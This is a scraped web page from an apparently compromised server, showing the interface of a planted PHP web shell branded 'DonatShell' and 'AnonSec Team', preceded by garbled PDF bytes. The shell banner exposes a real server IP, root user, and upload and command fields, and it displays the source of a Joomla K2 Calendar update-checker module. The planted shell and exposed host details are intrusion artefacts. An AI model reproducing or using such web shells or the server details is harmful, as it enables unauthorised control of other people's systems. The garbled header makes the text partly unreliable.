%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/cwd/html/old/modules/mod_b2j_k2_calendar/admin/elements/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/cwd/html/old/modules/mod_b2j_k2_calendar/admin/elements/b2jupdate.php
<?php

/* ------------------------------------------------------------------------
 * Bang2Joom K2 Calendar for Joomla 2.5+
 * ------------------------------------------------------------------------
 * Copyright (C) 2011-2012 Bang2Joom. All Rights Reserved.
 * @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
 * Author: Bang2Joom
 * Websites: http://www.bang2joom.com
  ------------------------------------------------------------------------
 */
 
defined('JPATH_BASE') or die;
jimport('joomla.form.formfield');
jimport('joomla.application.module.helper');

// Import library dependencies
jimport('joomla.application.component.modellist');
jimport('joomla.updater.update');


class JFormFieldb2jupdate extends JFormField {
	protected $type = 'b2jupdate';
    protected function getLabel() {
        return null;
    }

    protected function getInput() {
		$doc = JFactory::getDocument();
        $doc->addScriptDeclaration("jQuery(document).ready( function() {
                                        jQuery('#b2j_update_container').appendTo('#b2j_update_spot');
                                    })");
		$m =  explode(DIRECTORY_SEPARATOR,dirname(dirname(dirname(realpath(__FILE__)))));
		$m = $m[count($m)-1];
		
		$eid = $this->getExtensionID($m);
		$this->purge($eid);
		$db = JFactory::getDBO();
		$this->findUpdates(array($eid));
		$db->setQuery('SELECT * FROM #__updates WHERE extension_id='.$eid);
		if($db->Query()){
			if($row = $db->loadObjectList())
				echo "<div id='b2j_update_container' style='display:block; float:left; padding-left:10px; vertical-align:top; margin-top:7px;'><img src='http://repos.bang2joom.com/update-icon.png' style='margin:0px;width:26px;height:26px'/><span style='color: #666666;font-size: 12px;font-weight: bold; padding: 6px 8px 8px 4px;'>Update is available - <a target='_blank' style='color:#9ACC99;' href='".$row[0]->infourl."'>v".$row[0]->version."</a></span></div>";
			else
				echo "<div id='b2j_update_container' style='display:block; float:left; padding-left:10px; vertical-align:top; margin-top:7px;'><img src='http://repos.bang2joom.com/update-latest.png' style='margin:0px;width:26px;height:26px'/><span style='color: #666666;font-size: 12px;font-weight: bold; padding: 6px 8px 8px 0px;'>You Have The Latest Version</span></div>";
		}
		return null;
    }
	public function getExtensionID($module){
		$db = JFactory::getDBO();
		$db->setQuery('SELECT extension_id FROM #__extensions WHERE element="'.$module.'"');
		if($db->Query()){
			if($row = $db->loadObjectList()){
				return $row[0]->extension_id;
			}else
				return null;
		}
	}
	public function purge($eid)
	{
		$db = JFactory::getDBO();
		$db->setQuery('DELETE FROM #__updates WHERE extension_id='.$eid);
		if ($db->Query()) {
            $db->setQuery('UPDATE #__update_sites SET last_check_timestamp = '.$db->q(0));
			$db->query();
			return true;
		} else {
			return false;
		}
	}
	
	public function findUpdates($eid=0, $cache_timeout = 0)
	{
		$updater = JUpdater::getInstance();
        $error_r = error_reporting();
        error_reporting(0);
		$results = $updater->findUpdates($eid, $cache_timeout);
        error_reporting($error_r);
		return $results;
	}
}

Anon7 - 2022
AnonSec Team